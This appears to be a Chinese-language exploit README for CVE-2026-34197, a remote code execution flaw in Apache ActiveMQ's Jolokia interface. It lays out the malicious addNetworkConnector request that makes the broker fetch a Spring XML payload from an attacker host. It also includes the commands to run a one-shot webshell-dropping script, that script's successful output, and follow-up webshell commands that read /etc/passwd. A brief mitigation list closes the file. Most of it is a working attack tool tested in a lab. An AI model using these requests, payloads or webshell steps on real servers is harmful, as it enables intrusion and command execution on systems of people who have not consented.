| 项目 | 详情 |
|---|---|
| CVE ID | CVE-2026-34197 |
| CVSS 评分 | 8.8(高危) |
| 漏洞类型 | 远程代码执行(RCE) |
| CWE | CWE-20 输入验证不当 / CWE-94 代码注入 |
| 受影响组件 | Apache ActiveMQ Classic - Jolokia JMX-HTTP 桥接 |
| 受影响版本 | < 5.19.4 以及 6.0.0 至 6.2.2 |
| 修复版本 | 5.19.4 / 6.2.3 |
| 披露日期 | 2026-04-07 |
| 认证 | 默认需要认证,常见为 admin:admin。6.0.0-6.1.1 版本在与 CVE-2024-32114 联用时可能无需认证即可访问。 |
| 发现 | 由 Anthropic Claude 报告为 AI 辅助研究,在存在约 13 年后发现。 |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/,提供 JMX-over-HTTP 访问。org.apache.activemq:* 操作,包括 addNetworkConnector。vm:// 传输的 brokerConfig 参数可以指向远程 Spring XML,并且在配置被拒绝之前 Bean 实例化就已经发生。ActiveMQ 6.2.3 在 addNetworkConnector() 中增加了验证,拒绝 vm:// 传输 URI:
"error": "VM scheme is not allowed"
| 项目 | 详情 |
|---|---|
| 攻击者主机 | macOS 及 OrbStack Docker |
| 目标镜像 | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8(ActiveMQ 6.2.1) |
| 运行用户 | amq (uid=33031) |
| 基础操作系统 | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
返回 status: 200 表示 Jolokia 可访问。
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
该脚本执行以下操作:
NC 的现有 NetworkConnector,以使重复测试可靠。addNetworkConnector 请求以触发漏洞代码路径。curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| 版本 | 镜像 | Jolokia 响应 | 远程代码执行 |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | 成功,以 uid=0(root) 运行 |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | 成功,以 uid=33031(amq) 运行 |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | 已修复 |
addNetworkConnector() 注册一个名为 NC 的连接器。第二次注册会因 JMX 命名冲突而失败,返回 500 错误。该脚本通过在触发利用前调用 removeNetworkConnector("NC") 来处理此问题。
ActiveMQ 使用嵌入式 Jetty,但 webapps 目录存在于磁盘上,且 JSP 引擎会编译新写入的 .jsp 文件。这使得在测试环境中写入 webshell 成为可能。
该载荷使用内联 base64 写入 JSP:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
优点:
<、>、% 和 ")导致的 XML 解析问题。目标必须能够访问攻击者控制的 HTTP 服务器以获取 Spring XML 载荷。如果目标没有到攻击者的出站路由,则此利用路径无法完成。
直接的 Jolokia 请求可能因 CORS 检查而返回 403。应包含与目标匹配的 Origin 标头:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| 脚本 | 用途 | 出站要求 | Webshell |
|---|---|---|---|
exploit_poc.py | 原始盲 RCE PoC,运行任意命令 | 必需 | 无 |
exploit_webshell.py | 通过写入的 JSP webshell 进行一次性反射型 RCE | 仅在获取 XML 时需要 | 自动写入,随机文件名 |
jetty.xml 中禁用 Jolokia API。admin:admin 凭据。